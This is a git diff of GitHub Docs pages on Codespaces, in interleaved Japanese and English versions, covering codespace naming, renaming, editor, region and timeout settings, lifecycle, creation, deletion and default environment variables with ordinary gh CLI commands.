Each codespace is assigned an auto-generated display name. If you have multiple codespaces, the display name helps you to differentiate between codespaces. For example: `literate space parakeet`. You can change the display name for your codespace.
- {% data variables.product.product_name %} の https://github.com/codespaces で、codespace の一覧を表示します。
To find the display name of a codespace:
![GitHub の codespace の一覧のスクリーンショット](/assets/images/help/codespaces/codespaces-list-display-name.png)
- On {% data variables.product.product_name %}, view your list of codespaces at https://github.com/codespaces.
- {% data variables.product.prodname_vscode %} デスクトップ アプリケーションまたは {% data variables.product.prodname_vscode_shortname %} Web クライアントで、[リモート エクスプローラー] をクリックします。 表示名は、リポジトリ名の下に表示されます。 たとえば、次のスクリーンショットの `symmetrical space telegram`
![Screenshot of the list of codespaces in GitHub](/assets/images/help/codespaces/codespaces-list-display-name.png)
![VS Code のリモート エクスプローラーのスクリーンショット](/assets/images/help/codespaces/codespaces-remote-explorer.png)
- In the {% data variables.product.prodname_vscode %} desktop application, or the {% data variables.product.prodname_vscode_shortname %} web client, click the Remote Explorer. The display name is the second item in the list. For example: `symmetrical space telegram` in the screenshot below.
![Screenshot of the Remote Explorer in VS Code](/assets/images/help/codespaces/codespaces-remote-explorer.png)
{% indented_data_reference reusables.codespaces.remote-explorer spaces=2 %}
- ローカル コンピューターのターミナル ウィンドウで、次の {% data variables.product.prodname_cli %} コマンドを使用します: `gh codespace list`
- In a terminal window on your local machine, use this {% data variables.product.prodname_cli %} command: `gh codespace list`.
### 永続的な codespace
### Permanent codespace names
表示名に加えて、codespace を作成するときに、永続的な名前も codespace に割り当てられます。 名前は、{% data variables.product.company_short %} ハンドル、リポジトリ名、およびいくつかのランダムな文字の組み合わせです。 (例: `octocat-myrepo-gmc7`)。 この名前は変更できません。
In addition to the display name, when you create a codespace, a permanent name is also assigned to the codespace. The name is a combination of your {% data variables.product.company_short %} handle, and the auto-generated display name. For example: `octocat-literate-space-parakeet-mld5`. You can't change the permanent name.
codespace の永続的な名前を見つけるには:
To find the permanent name of a codespace:
* {% data variables.product.product_name %} では、 https://github.com/codespaces で **[ブラウザーで開く]** オプションにカーソルを合わせると、永続的な名前がポップアップに表示されます。
* On {% data variables.product.product_name %}, the permanent name is shown in a pop-up when you hover over the display name of a codespace on https://github.com/codespaces.
![カーソルを合わせると表示される codespace 名のスクリーンショット](/assets/images/help/codespaces/find-codespace-name-github.png)
![Screenshot of the codespace name shown on hover over](/assets/images/help/codespaces/find-codespace-name-github.png)
* codespace では、ターミナルで次のコマンドを使用します: `echo $CODESPACE_NAME`
* ローカル コンピューターのターミナル ウィンドウで、次の {% data variables.product.prodname_cli %} コマンドを使用します: `gh codespace list`
* In a codespace, use this command in the terminal: `echo $CODESPACE_NAME`.
* In a terminal window on your local machine, use this {% data variables.product.prodname_cli %} command: `gh codespace list`.
## codespace の名前を変更する
## Renaming a codespace
codespace の表示名を変更すると、長期間使用する複数の codespace がある場合に便利です。 適切な名前は、特定の目的に使用する codespace を識別するのに役立ちます。 {% data variables.product.prodname_cli %} を使用して、codespace の表示名を変更できます。
Changing the display name of a codespace can be useful if you have multiple codespaces that you will be using for an extended period. An appropriate name helps you identify a codespace that you use for a particular purpose.
codespace の名前を変更するには、`gh codespace edit` サブコマンドを使用します。
{% cli %}
You can change the display name for your codespace by using the {% data variables.product.prodname_cli %}.
To rename a codespace, use the `gh codespace edit` subcommand:
```shell
gh codespace edit -c PERMANENT-CODESPACE-NAME -d NEW-DISPLAY-NAME
```
この例では、`PERMANENT-CODESPACE-NAME` を、表示名を変更する codespace の永続的な名前に置き換えます。 `NEW-DISPLAY-NAME` を、この codespace に使用する表示名に置き換えます。
In this example, replace `PERMANENT-CODESPACE-NAME` with the permanent name of the codespace whose display name you want to change. Replace `NEW-DISPLAY-NAME` with the display name you want to use for this codespace.
詳細については、「[{% data variables.product.prodname_github_codespaces %} {% data variables.product.prodname_cli %} の使用](/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli#rename-a-codespace)」を参照してください。
For more information, see "[Using {% data variables.product.prodname_github_codespaces %} with {% data variables.product.prodname_cli %}](/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli#rename-a-codespace)."
{% endcli %}
{% webui %}
You can change the display name for your codespace on {% data variables.product.prodname_dotcom_the_website %}.
{% data reusables.codespaces.your-codespaces-procedure-step %}
The current display name for each of your codespaces is displayed.
{% data reusables.codespaces.ellipsis-settings %}
1. Click **Rename**.
1. In the prompt, under "Change display name to..." type your desired display name and click **OK**.
{% endwebui %}

View File

@@ -2,7 +2,6 @@
title: Setting your default editor for GitHub Codespaces
shortTitle: Set the default editor
intro: '{% data reusables.codespaces.about-changing-default-editor %}'
product: '{% data reusables.gated-features.codespaces %}'
versions:
fpt: '*'
ghec: '*'
@@ -14,15 +13,38 @@ topics:
type: how_to
---
On the settings page, you can set your editor preference so that any newly created codespaces are opened automatically in either {% data variables.product.prodname_vscode %} for Web or the {% data variables.product.prodname_vscode %} desktop application.
On the settings page, you can set your editor preference so that when you create a codespace, or open an existing codespace, it is opened in your choice of:
* {% data variables.product.prodname_vscode %} (desktop application)
* {% data variables.product.prodname_vscode %} (web client application)
* JetBrains Gateway - for opening codespaces in a JetBrains IDE
* JupyterLab - the web interface for Project Jupyter
{% data reusables.codespaces.template-codespaces-default-editor %}
If you want to use {% data variables.product.prodname_vscode %} as your default editor for {% data variables.product.prodname_github_codespaces %}, you need to install {% data variables.product.prodname_vscode %} and the {% data variables.product.prodname_github_codespaces %} extension for {% data variables.product.prodname_vscode %}. For more information, see the [download page for {% data variables.product.prodname_vscode %}](https://code.visualstudio.com/download/) and the [{% data variables.product.prodname_github_codespaces %} extension on the {% data variables.product.prodname_vscode %} marketplace](https://marketplace.visualstudio.com/items?itemName=GitHub.codespaces).
If you want to work on a codespace in a JetBrains IDE you must install the JetBrains Gateway. For more information, see "[Using {% data variables.product.prodname_github_codespaces %} in your JetBrains IDE](/codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide)."
## Setting your default editor
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.codespaces-tab %}
1. Under "Editor preference", select the option you want.
![Setting your editor](/assets/images/help/codespaces/select-default-editor.png)
If you choose **{% data variables.product.prodname_vscode %}**, {% data variables.product.prodname_github_codespaces %} will automatically open in the desktop application when you next create a codespace. You may need to allow access to both your browser and {% data variables.product.prodname_vscode %} for it to open successfully.
![Setting your editor](/assets/images/help/codespaces/launch-default-editor.png)
* {% data reusables.codespaces.application-installed-locally %}<br><br>
* If you choose **{% data variables.product.prodname_vscode %}**, {% data variables.product.prodname_github_codespaces %} will automatically open in the desktop application when you next create or open a codespace.
You may need to allow access to both your browser and {% data variables.product.prodname_vscode %} for it to open successfully.<br><br>
* If you choose **JetBrains Gateway**, the Gateway application will automatically open when you next create or open a codespace.
The first time you open a codespace this way you must give permission to open the application.
The Gateway application will open and the codespace will then be automatically selected. You can then choose a JetBrains IDE, if you have not previously done so, and click **Connect** to open the codespace in the JetBrains client. For more information, see "[Using {% data variables.product.prodname_github_codespaces %} in your JetBrains IDE](/codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide)."
To connect to a codespace from the Gateway application, you must have an SSH server running on the codespace. {% indented_data_reference reusables.codespaces.ssh-server-installed spaces=5 %}
* If you choose **JupyterLab**, the JupyterLab application must be installed in the codespaces you open. {% data reusables.codespaces.jupyterlab-in-default-image %}

View File

@@ -2,7 +2,6 @@
title: GitHub Codespaces の既定のリージョンを設定する
shortTitle: Set the default region
intro: '{% data variables.product.prodname_github_codespaces %} プロファイル設定ページで既定のリージョンを設定して、データが保持されている場所をパーソナライズできます。'
product: '{% data reusables.gated-features.codespaces %}'
versions:
fpt: '*'
ghec: '*'
@@ -12,12 +11,12 @@ redirect_from:
topics:
- Codespaces
type: how_to
ms.openlocfilehash: bf658cadc1237ce0266f3b44f506446054fc3082
ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
ms.openlocfilehash: 4450c284d9012060267c2207c2a774a342669caa
ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 09/05/2022
ms.locfileid: '147111531'
ms.lasthandoff: 11/09/2022
ms.locfileid: '148160007'
---
codespace が作成されるリージョンを手動で選択できます。セキュリティとコンプライアンスに関する厳格な要件を満たすことができます。 既定では、リージョンはお住まいの場所に基づいて自動的に設定されます。

View File

@@ -2,7 +2,6 @@
title: Setting your timeout period for GitHub Codespaces
shortTitle: Set the timeout
intro: 'You can set your default timeout for {% data variables.product.prodname_github_codespaces %} in your personal settings page.'
product: '{% data reusables.gated-features.codespaces %}'
versions:
fpt: '*'
ghec: '*'
@@ -13,16 +12,20 @@ redirect_from:
- /codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces
---
A codespace will stop running after a period of inactivity. You can specify the length of this timeout period. The updated setting will apply to any newly created codespace.
## About the idle timeout
Some organizations may have a maximum idle timeout policy. If an organization policy sets a maximum timeout which is less than the default timeout you have set, the organization's timeout will be used instead of your setting, and you will be notified of this after the codespace is created. For more information, see "[Restricting the idle timeout period](/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period)."
A codespace will stop running after a period of inactivity. By default this period is 30 minutes, but you can specify a longer or shorter default timeout period in your personal settings on {% data variables.product.prodname_dotcom %}. The updated setting will apply to any new codespaces you create, or to existing codespaces the next time you start them. You can also specify a timeout when you use {% data variables.product.prodname_cli %} to create a codespace.
{% warning %}
**Warning**: Codespaces are billed per minute. If you are not actively using a codespace but the codespace has not yet timed out, you are still billed for the time that the codespace is running. For more information, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#codespaces-pricing)."
**Warning**: Codespaces compute usage is billed for the duration for which a codespace is active. If you're not using a codespace but it remains running, and hasn't yet timed out, you are billed for the total time that the codespace was active, irrespective of whether you were using it. For more information, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#codespaces-pricing)."
{% endwarning %}
### Timeout periods for organization-owned repositories
Organizations can set a maximum idle timeout policy for codespaces created from some or all of their repositories. If an organization policy sets a maximum timeout which is less than the default timeout you have set, the organization's timeout will be used instead of your setting. You will be notified of this after the codespace is created. For more information, see "[Restricting the idle timeout period](/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period)."
{% webui %}
## Setting your default timeout period

View File

@@ -1,84 +0,0 @@
---
title: Codespaces lifecycle
intro: 'You can develop in a {% data variables.product.prodname_github_codespaces %} environment and maintain your data throughout the entire codespace lifecycle.'
versions:
fpt: '*'
ghec: '*'
type: overview
topics:
- Codespaces
- Developer
product: '{% data reusables.gated-features.codespaces %}'
---
## About the lifecycle of a codespace
The lifecycle of a codespace begins when you create a codespace and ends when you delete it. You can disconnect and reconnect to an active codespace without affecting its running processes. You may stop and restart a codespace without losing changes that you have made to your project.
## Creating a codespace
When you want to work on a project, you can choose to create a new codespace or open an existing codespace. You might want to create a new codespace from a branch of your project each time you develop in {% data variables.product.prodname_github_codespaces %} or keep a long-running codespace for a feature. For more information, see "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace)."
{% data reusables.codespaces.max-number-codespaces %} Similarly, if you reach the maximum number of active codespaces and you try to start another, you are prompted to stop one of your active codespaces.
If you choose to create a new codespace each time you work on a project, you should regularly push your changes so that any new commits are on {% data variables.product.prodname_dotcom %}. If you choose to use a long-running codespace for your project, you should pull from your repository's default branch each time you start working in your codespace so that your environment has the latest commits. This workflow is very similar to if you were working with a project on your local machine.
{% data reusables.codespaces.prebuilds-crossreference %}
## Saving changes in a codespace
When you connect to a codespace through the web, auto-save is enabled automatically for the web editor and configured to save changes after a delay. When you connect to a codespace through {% data variables.product.prodname_vscode %} running on your desktop, you must enable auto-save. For more information, see [Save/Auto Save](https://code.visualstudio.com/docs/editor/codebasics#_save-auto-save) in the {% data variables.product.prodname_vscode %} documentation.
If you want to save your changes in the git repository on the codespace's file system, commit them and push them to a remote branch.
If you have unsaved changes, your editor will prompt you to save them before exiting.
## Codespaces timeouts
If you leave your codespace running without interaction, or if you exit your codespace without explicitly stopping it, the codespace will timeout after a period of inactivity and stop running. By default, a codespace will timeout after 30 minutes of inactivity, but you can customize the duration of the timeout period for new codespaces that you create. For more information about setting the default timeout period for your codespaces, see "[Setting your timeout period for {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces)." For more information about stopping a codespace, see "[Stopping a codespace](#stopping-a-codespace)."
When a codespace times out, your data is preserved from the last time your changes were saved. For more information, see "[Saving changes in a codespace](#saving-changes-in-a-codespace)."
## Rebuilding a codespace
You can rebuild your codespace to restore a clean state as if you had created a new codespace. For most uses, you can create a new codespace as an alternative to rebuilding a codespace. You are most likely to rebuild a codespace to implement changes to your dev container. When you rebuild a codespace, any Docker containers, images, volumes, and caches are cleaned, then the codespace is rebuilt.
If you need any of this data to persist over a rebuild, you can create, at the desired location in the container, a symbolic link (symlink) to the persistent directory. For example, in your `.devcontainer` directory, you can create a `config` directory that will be preserved across a rebuild. You can then symlink the `config` directory and its contents as a `postCreateCommand` in your `devcontainer.json` file.
```json
{
"image": "mcr.microsoft.com/vscode/devcontainers/base:alpine",
"postCreateCommand": ".devcontainer/postCreate.sh"
}
```
In the example `postCreate.sh` file below, the contents of the `config` directory are symbolically linked to the home directory.
```bash
#!/bin/bash
ln -sf $PWD/.devcontainer/config $HOME/config && set +x
```
For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#applying-configuration-changes-to-a-codespace)."
## Stopping a codespace
{% data reusables.codespaces.stopping-a-codespace %} For more information, see "[Stopping and starting a codespace](/codespaces/developing-in-codespaces/stopping-and-starting-a-codespace)."
## Deleting a codespace
You can create a codespace for a particular task and then safely delete the codespace after you push your changes to a remote branch.
If you try to delete a codespace with unpushed git commits, your editor will notify you that you have changes that have not been pushed to a remote branch. You can push any desired changes and then delete your codespace, or continue to delete your codespace and any uncommitted changes. You can also export your code to a new branch without creating a new codespace. For more information, see "[Exporting changes to a branch](/codespaces/troubleshooting/exporting-changes-to-a-branch)."
Codespaces that have been stopped and remain inactive for a specified period of time will be deleted automatically. By default, inactive codespaces are deleted after 30 days, but you can customize your codespace retention period. For more information, see "[Configuring automatic deletion of your codespaces](/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces)."
If you create a codespace, it will continue to accrue storage charges until it is deleted, irrespective of whether it is active or stopped. For more information, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#billing-for-storage-usage)." Deleting a codespace does not reduce the current billable amount for {% data variables.product.prodname_github_codespaces %}, which accumulates during each monthly billing cycle. For more information, see "[Viewing your {% data variables.product.prodname_github_codespaces %} usage](/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage)."
For more information on deleting a codespace, see "[Deleting a codespace](/codespaces/developing-in-codespaces/deleting-a-codespace)."
## Losing the connection while using Codespaces
{% data variables.product.prodname_github_codespaces %} is a cloud-based development environment and requires an internet connection. If you lose connection to the internet while working in a codespace, you will not be able to access your codespace. However, any uncommitted changes will be saved. When you have access to an internet connection again, you can connect to your codespace in the exact same state that it was left in. If you have an unstable internet connection, you should commit and push your changes often.
If you know that you will often be working offline, you can use your `devcontainer.json` file with the ["Dev Containers" extension](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers) for {% data variables.product.prodname_vscode_shortname %} to build and attach to a local development container for your repository. For more information, see [Developing inside a container](https://code.visualstudio.com/docs/remote/containers) in the {% data variables.product.prodname_vscode %} documentation.

View File

@@ -1,7 +1,6 @@
---
title: Connecting to a private network
intro: 'You can connect {% data variables.product.prodname_github_codespaces %} to resources on a private network, including package registries, license servers, and on-premises databases.'
product: '{% data reusables.gated-features.codespaces %}'
versions:
fpt: '*'
ghec: '*'
@@ -39,7 +38,7 @@ The {% data variables.product.prodname_cli %} extension allows you to create a b
As an alternative to the {% data variables.product.prodname_cli %} extension, you can use a VPN to access resources behind a private network from within your codespace.
We recommend VPN tools like [OpenVPN](https://openvpn.net/) to access resources on a private network. For more information, see "[Using the OpenVPN client from GitHub Codespaces](https://github.com/codespaces-contrib/codespaces-openvpn)."
We recommend VPN tools like [OpenVPN](https://openvpn.net/) to access resources on a private network. For more information, see "[Using the OpenVPN client from {% data variables.product.prodname_github_codespaces %}](https://github.com/codespaces-contrib/codespaces-openvpn)."
There are also a number of third party solutions that, while not explicitly endorsed by {% data variables.product.prodname_dotcom %}, have provided examples of how to integrate with {% data variables.product.prodname_github_codespaces %}.

View File

@@ -1,161 +0,0 @@
---
title: codespace を作成する
intro: リポジトリのブランチの codespace を作成して、オンラインで開発できます。
product: '{% data reusables.gated-features.codespaces %}'
redirect_from:
- /github/developing-online-with-github-codespaces/creating-a-codespace
- /github/developing-online-with-codespaces/creating-a-codespace
versions:
fpt: '*'
ghec: '*'
type: how_to
topics:
- Codespaces
- Fundamentals
- Developer
shortTitle: Create a codespace
ms.openlocfilehash: ae14b01f409f9c6bfb43c579aaa9c76bb2421cfe
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 10/25/2022
ms.locfileid: '148106734'
---
## codespace の作成について
codespace は、{% data variables.product.prodname_dotcom_the_website %}、{% data variables.product.prodname_vscode %}、または {% data variables.product.prodname_cli %} を使用して作成できます。 {% data reusables.codespaces.codespaces-are-personal %}
Codespaces はリポジトリの特定のブランチに関連付けられており、リポジトリを空にすることはできません。 リポジトリごと、さらにはブランチごとに1つ以上のcodespaceを作成できます。
codespace を作成すると、開発環境を作成して開発環境に接続するためのいくつかの手順が発生します。
- 手順 1: VM とストレージが codespace に割り当てられます。
- 手順 2: コンテナーが作成され、リポジトリが複製されます。
- 手順 3: codespace に接続できます。
- 手順 4: codespace では、作成後のセットアップが続行されます。
codespace を作成した場合に起きることの詳細については、[詳細情報](/codespaces/getting-started/deep-dive)に関するページを参照してください。
codespace のライフサイクルの詳細については、「[Codespace のライフサイクル](/codespaces/developing-in-codespaces/codespaces-lifecycle)」を参照してください。
codespace に Git フックを使用する場合は、手順 4. で [`devcontainer.json`ライフサイクル スクリプト](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_lifecycle-scripts) (例: `postCreateCommand`) を使用してフックを設定する必要があります。 リポジトリの複製後に codespace コンテナーが作成されるため、コンテナー イメージで構成された [Git テンプレート ディレクトリ](https://git-scm.com/docs/git-init#_template_directory) は codespace には適用されません。 代わりに、codespace の作成後にフックをインストールする必要があります。 `postCreateCommand` の使用について詳しくは、{% data variables.product.prodname_vscode_shortname %} ドキュメントの「[`devcontainer.json` リファレンス](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_devcontainerjson-properties)」を参照してください。
{% data reusables.codespaces.use-visual-studio-features %}
{% data reusables.codespaces.you-can-see-all-your-codespaces %}
{% data reusables.codespaces.prebuilds-crossreference %}
## {% data variables.product.prodname_github_codespaces %} へのアクセス
{% data variables.product.prodname_github_codespaces %} へのアクセスがある場合、リポジトリを表示すると、 **{% octicon "code" aria-label="The code icon" %} [コード]** ドロップダウン メニューに [Codespaces] タブが表示されます。
次の条件の下で、{% data variables.product.prodname_github_codespaces %} にアクセスできます。
次のすべてが当てはまります。
* あなたは、{% data variables.product.prodname_codespaces %} が有効になっていて、使用制限が設定されている Organization のメンバーまたは外部コラボレーターです。
* Organization の所有者から、Organization の費用で codespace を作成する許可を得ました。
* Codespace を作成する対象のリポジトリは、この Organization によって所有されています。
または、次の両方が当てはまります。
* 個々のユーザー向けの {% data variables.product.prodname_codespaces %} のベータ版に参加しています。
* Codespace を作成する対象のリポジトリを所有しているか、ご自分がメンバーまたは外部コラボレーターである Organization によってこのリポジトリが所有されています。
{% data variables.product.prodname_codespaces %} を Organization 内で使用するには、所有者または支払いマネージャーが使用制限を設定しておく必要があります。 詳しくは、「[{% data variables.product.prodname_github_codespaces %} の利用上限の管理](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-github-codespaces#about-spending-limits-for-codespaces)」をご覧ください。
Organization の所有者は、Organization の費用で codespace を作成して使うことができるユーザーを指定できます。 また、Organization の所有者は、Organization が codespace の使用について請求されないようにすることもできます。 詳しくは、「[Organization での {% data variables.product.prodname_github_codespaces %} の有効化](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization#choose-who-can-create-codespaces-that-are-billed-to-your-organization)」をご覧ください。
## codespace を作成する
{% webui %}
{% data reusables.repositories.navigate-to-repo %}
1. リポジトリ名の下で、[Branch] ドロップダウンメニューを使用して、codespace を作成するブランチを選択します。
![[Branch] ドロップダウンメニュー](/assets/images/help/codespaces/branch-drop-down.png)
1. **[{% octicon "code" aria-label="The code icon" %} コード]** ボタンをクリックし、 **[Codespaces]** タブをクリックします。
![[New codespace] ボタン](/assets/images/help/codespaces/new-codespace-button.png)
このリポジトリの codespace が課金可能な場合は、 **[<ブランチ名> で codespace を作成する]** ボタンの下に、codespace の料金を支払うユーザーを示すメッセージが表示されます。
1. 既定のオプションを使用するか、詳細オプションを構成した後に、codespace を作成します。
* **既定のオプションを使用する**
既定のオプションを使用して codespace を作成するには、 **[ブランチで codespace を作成する]** をクリックします。
必要に応じて、 **[ブランチで codespace を作成する]** をクリックする前に、ボタンの横にある下矢印をクリックして、codespace に使用されるマシンの種類を確認できます。
![既定のマシンの種類を表示する](/assets/images/help/codespaces/default-machine-type.png)
{% note %}
**注**: 既定では、リポジトリに対する有効なリソースが最も少ないマシンの種類が選択されます。
{% endnote %}
* **構成オプション**
別のマシンの種類や特定の `devcontainer.json` ファイルなど、codespace の詳細オプションを構成するには:
1. **[ブランチで codespace を作成する]** ボタンの横にある下矢印をクリックし、 **[Configure and create codespace]\(codespace の構成と作成\)** をクリックします。
1. **[Configure and create codespace]\(codespace の構成と作成\)** ボタンをクリックします。
1. codespace のオプション ページで、ドロップダウン メニューから任意のオプションを選択します。
![codespace のオプション ページ](/assets/images/help/codespaces/advanced-options.png)
{% note %}
**メモ**
* オプション ページをブックマークすると、このリポジトリとブランチの codespace をすばやく作成できるようになります。
* [https://github.com/codespaces/new](https://github.com/codespaces/new) ページでは、リポジトリとブランチの codespace をすばやく作成できます。 ブラウザーのアドレス バーに「`codespace.new`」と入力すると、このページにすばやくアクセスできます。
* `devcontainer.json` ファイルの詳細については、「[開発コンテナーの概要](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#devcontainerjson)」をご覧ください。
* マシンの種類について詳しくは、「[codespace のマシンの種類を変更する](/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace#about-machine-types)」をご覧ください。
* {% data reusables.codespaces.codespaces-machine-type-availability %}
{% endnote %}
1. **[セッションの開始]** をクリックします。
{% endwebui %}
{% vscode %}
{% data reusables.codespaces.creating-a-codespace-in-vscode %}
{% endvscode %}
{% cli %}
{% data reusables.cli.cli-learn-more %}
新しい codespace を作成するには、`gh codespace create` サブコマンドを使用します。
```shell
gh codespace create
```
リポジトリの選択を求められます。 このリポジトリの codespace が課金可能な場合は、codespace の料金を支払うユーザーを示すメッセージが表示されます。 その場合、ブランチ、開発コンテナー構成ファイル (複数ある場合)、コンピューターの種類 (複数ある場合) を選ぶように求められます。
または、フラグを使用して、次に示すオプションの一部またはすべてを特定することもできます。
```shell
gh codespace create -r OWNER/REPO -b BRANCH --devcontainer-path PATH -m MACHINE-TYPE
```
この例の `owner/repo` をリポジトリ識別子に置き換えます。 `branch` を codespace で最初にチェックアウトするブランチの名前、またはコミットの完全な SHA ハッシュに置き換えます。 `b` フラグなしで `-r` フラグを使用する場合、codespace は既定のブランチから作成されます。
新しいコードスペースで使用する開発コンテナー構成ファイルへのパスに `path` を置き換えます。 このフラグを省略し、複数の開発コンテナー ファイルを使用できる場合は、リストから 1 つを選ぶダイアログが表示されます。 開発コンテナーの構成ファイルについて詳しくは、「[開発コンテナーの概要](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)」を参照してください。
`machine-type` を使用可能なマシンの種類の有効な識別子に置き換えます。 識別子は、`basicLinux32gb``standardLinux32gb` のような文字列です。 使用可能なマシンの種類は、リポジトリ、個人用アカウント、場所によって異なります。 無効または使用できないマシンの種類を入力すると、使用可能な種類がエラー メッセージに表示されます。 このフラグを省略し、複数のマシンの種類を使用できる場合は、リストから 1 つを選択するダイアログが表示されます。
このコマンドのオプションについて詳しくは、[{% data variables.product.prodname_cli %} マニュアル](https://cli.github.com/manual/gh_codespace_create)を参照してください。
{% endcli %}
## 参考資料
- [既存の codespace を開く](/codespaces/developing-in-codespaces/opening-an-existing-codespace)
- 「[[GitHub Codespaces で開く] バッジを追加する](/codespaces/setting-up-your-project-for-codespaces/adding-a-codespaces-badge)」

View File

@@ -1,7 +1,6 @@
---
title: codespace の既定の環境変数
shortTitle: Default environment variables
product: '{% data reusables.gated-features.codespaces %}'
intro: '{% data variables.product.prodname_dotcom %} は、codespace ごとに既定の環境変数を設定します。'
versions:
fpt: '*'
@@ -11,12 +10,12 @@ topics:
- Codespaces
- Fundamentals
- Developer
ms.openlocfilehash: e9034fb566c8245fff6d610ff456084dc9818f0b
ms.sourcegitcommit: 43a959b8faf78d9c5b3deadffa079d24cd11650b
ms.openlocfilehash: 1a57445bbffb3e1112299414e29796b716f2d801
ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 11/04/2022
ms.locfileid: '148134772'
ms.lasthandoff: 11/09/2022
ms.locfileid: '148158926'
---
## 既定の環境変数について
@@ -32,7 +31,7 @@ ms.locfileid: '148134772'
| 環境変数 | 説明 |
| ---------------------|------------ |
| `CODESPACE_NAME` | codespace の名前 (`monalisa-github-hello-world-2f2fsdf2e` など) |
| `CODESPACE_NAME` | codespace の名前 (`octocat-literate-space-parakeet-mld5` など) |
| `CODESPACES` | codespace にいる間は常に `true` |
| `GIT_COMMITTER_EMAIL` | 将来の `git` コミットの [作成者] フィールドのメール アドレス。 |
| `GIT_COMMITTER_NAME` | 将来の `git` コミットの [コミッター] フィールドの名前。 |

View File

@@ -1,7 +1,6 @@
---
title: codespace を削除する
intro: 不要になった codespace を削除することができます。
product: '{% data reusables.gated-features.codespaces %}'
title: Deleting a codespace
intro: You can delete a codespace you no longer need.
redirect_from:
- /github/developing-online-with-github-codespaces/deleting-a-codespace
- /github/developing-online-with-codespaces/deleting-a-codespace
@@ -14,25 +13,28 @@ topics:
- Fundamentals
- Developer
shortTitle: Delete a codespace
ms.openlocfilehash: c3f9577642c0b3016f8145da9f65cf9ccb457d5e
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 10/25/2022
ms.locfileid: '148108989'
---
codespace の格納にはコストがかかります。 そのため、不要になった codespace は削除する必要があります。 詳細については、「[GitHub Codespaces の請求について](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)」を参照してください。
You can delete a codespace in a variety of ways: in the terminal by using {% data variables.product.prodname_cli %}, in {% data variables.product.prodname_vscode %}, or in your web browser. Use the tabs in this article to display instructions for each of these ways of deleting a codespace.
{% note %}
**Note**: You can't delete a codespace from within the JetBrains Gateway, or the JetBrains client application, or from within JupyterLab.
{% endnote %}
There are costs associated with storing codespaces. You should therefore delete any codespaces you no longer need. For more information, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)."
{% data reusables.codespaces.max-number-codespaces %}
## codespace を削除する
## Deleting a codespace
{% webui %}
{% data reusables.codespaces.your-codespaces-procedure-step %}
1. 削除する codespace の右側で [{% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}] をクリックし、 **[{% octicon "trash" aria-label="The trash icon" %} 削除]** をクリックします。
1. To the right of the codespace you want to delete, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **{% octicon "trash" aria-label="The trash icon" %} Delete**
![[削除] ボタン](/assets/images/help/codespaces/delete-codespace.png)
![Delete button](/assets/images/help/codespaces/delete-codespace.png)
{% endwebui %}
@@ -47,86 +49,86 @@ codespace の格納にはコストがかかります。 そのため、不要に
{% data reusables.cli.cli-learn-more %}
codespace を削除するには、`gh codespace delete` サブコマンドを使用し、表示されるリストから codespace を選択します。
To delete a codespace use the `gh codespace delete` subcommand and then choose a codespace from the list that's displayed.
```shell
gh codespace delete
```
保存していない変更がある場合は、削除の確認を求めるメッセージが表示されます。 `--force` フラグを使用すると、このプロンプトを回避して強制的に削除できます。
If you have unsaved changes, you'll be prompted to confirm deletion. You can use the `--force` flag to force deletion, avoiding this prompt.
このコマンドの詳細については、[{% data variables.product.prodname_cli %} に関するマニュアル](https://cli.github.com/manual/gh_codespace_delete)を参照してください。
For more information about this command, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_codespace_delete).
{% endcli %}
## codespace の一括削除
## Bulk deleting codespaces
{% webui %}
{% data variables.product.prodname_cli %} を使用すると、1 つのコマンドで複数またはすべての codespace を削除できます。 詳細については、このページの上部にある **{% data variables.product.prodname_cli %}** タブをクリックしてください。
You can use {% data variables.product.prodname_cli %} to delete several or all of your codespaces with a single command. For more information, click the "{% data variables.product.prodname_cli %}" tab near the top of this page.
{% endwebui %}
{% vscode %}
{% data variables.product.prodname_cli %} を使用すると、1 つのコマンドで複数またはすべての codespace を削除できます。 詳細については、このページの上部にある **{% data variables.product.prodname_cli %}** タブをクリックしてください。
